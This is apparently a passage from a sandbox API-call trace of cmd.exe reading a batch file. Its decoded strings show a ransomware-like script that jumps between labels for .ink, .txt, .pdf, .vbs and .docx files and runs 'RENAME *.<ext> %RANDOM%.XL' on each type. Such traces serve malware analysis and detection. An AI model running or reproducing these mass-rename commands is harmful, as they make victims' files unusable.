0x127f [0040.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.287] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0040.287] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.287] GetFileType (hFile=0x74) returned 0x1 [0040.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0040.287] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=4741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0040.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0040.287] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0040.288] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.288] GetFileType (hFile=0x74) returned 0x1 [0040.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0040.288] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=4743, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0040.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0040.288] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0040.288] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.288] GetFileType (hFile=0x74) returned 0x1 [0040.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0040.288] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=4769, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0040.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0040.288] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0040.288] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.288] GetFileType (hFile=0x74) returned 0x1 [0040.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0040.289] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=4780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0040.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0040.289] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0040.289] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.289] GetFileType (hFile=0x74) returned 0x1 [0040.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0040.289] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=4782, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0040.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.289] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0040.289] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.289] GetFileType (hFile=0x74) returned 0x1 [0040.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0040.289] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=4788, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0040.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0040.290] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.290] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0040.290] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.290] GetFileType (hFile=0x74) returned 0x1 [0040.290] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0040.290] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.290] SetFilePointer (in: hFile=0x74, lDistanceToMove=4790, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0040.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0040.290] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.290] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0040.290] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.290] GetFileType (hFile=0x74) returned 0x1 [0040.290] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0040.290] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.290] SetFilePointer (in: hFile=0x74, lDistanceToMove=4816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0040.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0040.290] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0040.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.291] GetFileType (hFile=0x74) returned 0x1 [0040.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0040.291] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=4827, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0040.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0040.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0040.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.291] GetFileType (hFile=0x74) returned 0x1 [0040.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0040.291] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=4829, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0040.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0040.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.291] GetFileType (hFile=0x74) returned 0x1 [0040.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0040.292] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=4835, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0040.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0040.292] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0040.292] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.292] GetFileType (hFile=0x74) returned 0x1 [0040.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0040.292] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=4837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0040.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0040.292] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0040.292] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.292] GetFileType (hFile=0x74) returned 0x1 [0040.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e5 [0040.293] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=4863, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0040.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0040.293] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0040.293] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.293] GetFileType (hFile=0x74) returned 0x1 [0040.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ff [0040.293] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=4874, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0040.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0040.293] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0040.293] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.293] GetFileType (hFile=0x74) returned 0x1 [0040.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130a [0040.293] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=4876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0040.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0040.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.294] GetFileType (hFile=0x74) returned 0x1 [0040.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0040.294] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=4882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0040.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0040.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0040.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.294] GetFileType (hFile=0x74) returned 0x1 [0040.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0040.294] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=4884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0040.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0040.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0040.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.295] GetFileType (hFile=0x74) returned 0x1 [0040.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0040.295] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=4910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0040.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0040.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0040.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.295] GetFileType (hFile=0x74) returned 0x1 [0040.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0040.295] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=4921, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0040.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0040.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0040.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.295] GetFileType (hFile=0x74) returned 0x1 [0040.296] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0040.296] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.296] SetFilePointer (in: hFile=0x74, lDistanceToMove=4923, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0040.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0040.296] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.296] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0040.296] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.296] GetFileType (hFile=0x74) returned 0x1 [0040.296] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0040.296] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.296] SetFilePointer (in: hFile=0x74, lDistanceToMove=4930, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0040.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0040.296] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.296] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0040.296] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.296] GetFileType (hFile=0x74) returned 0x1 [0040.296] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0040.296] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.297] SetFilePointer (in: hFile=0x74, lDistanceToMove=4932, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0040.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0040.297] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.297] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0040.297] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.297] GetFileType (hFile=0x74) returned 0x1 [0040.297] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0040.297] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.297] SetFilePointer (in: hFile=0x74, lDistanceToMove=4959, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0040.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\n\r\n") returned 27 [0040.297] 